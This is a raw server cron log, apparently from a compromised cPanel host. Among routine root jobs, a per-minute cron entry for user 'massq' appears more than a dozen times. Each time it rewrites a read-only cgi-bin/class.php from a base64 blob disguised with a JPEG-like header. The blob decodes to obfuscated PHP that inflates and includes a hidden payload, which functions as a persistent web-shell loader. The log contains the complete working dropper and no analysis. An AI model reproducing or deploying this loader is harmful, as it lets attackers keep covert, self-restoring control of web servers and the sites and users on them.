Nov  9 12:22:01 server CROND[8945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:23:01 server CROND[9448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:24:01 server CROND[10016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:25:01 server CROND[10842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:25:01 server CROND[10846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:25:01 server CROND[10847]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:25:01 server CROND[10848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:26:01 server CROND[11669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:27:01 server CROND[12118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:27:01 server CROND[12119]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 12:28:01 server CROND[12934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:29:01 server CROND[13834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:30:01 server CROND[14650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:30:01 server CROND[14652]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 12:30:01 server CROND[14653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:30:01 server CROND[14654]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov  9 12:30:01 server CROND[14655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:31:01 server CROND[15526]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:32:01 server CROND[16276]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:33:01 server CROND[16796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:34:01 server CROND[17739]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:35:01 server CROND[18568]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 12:35:01 server CROND[18567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
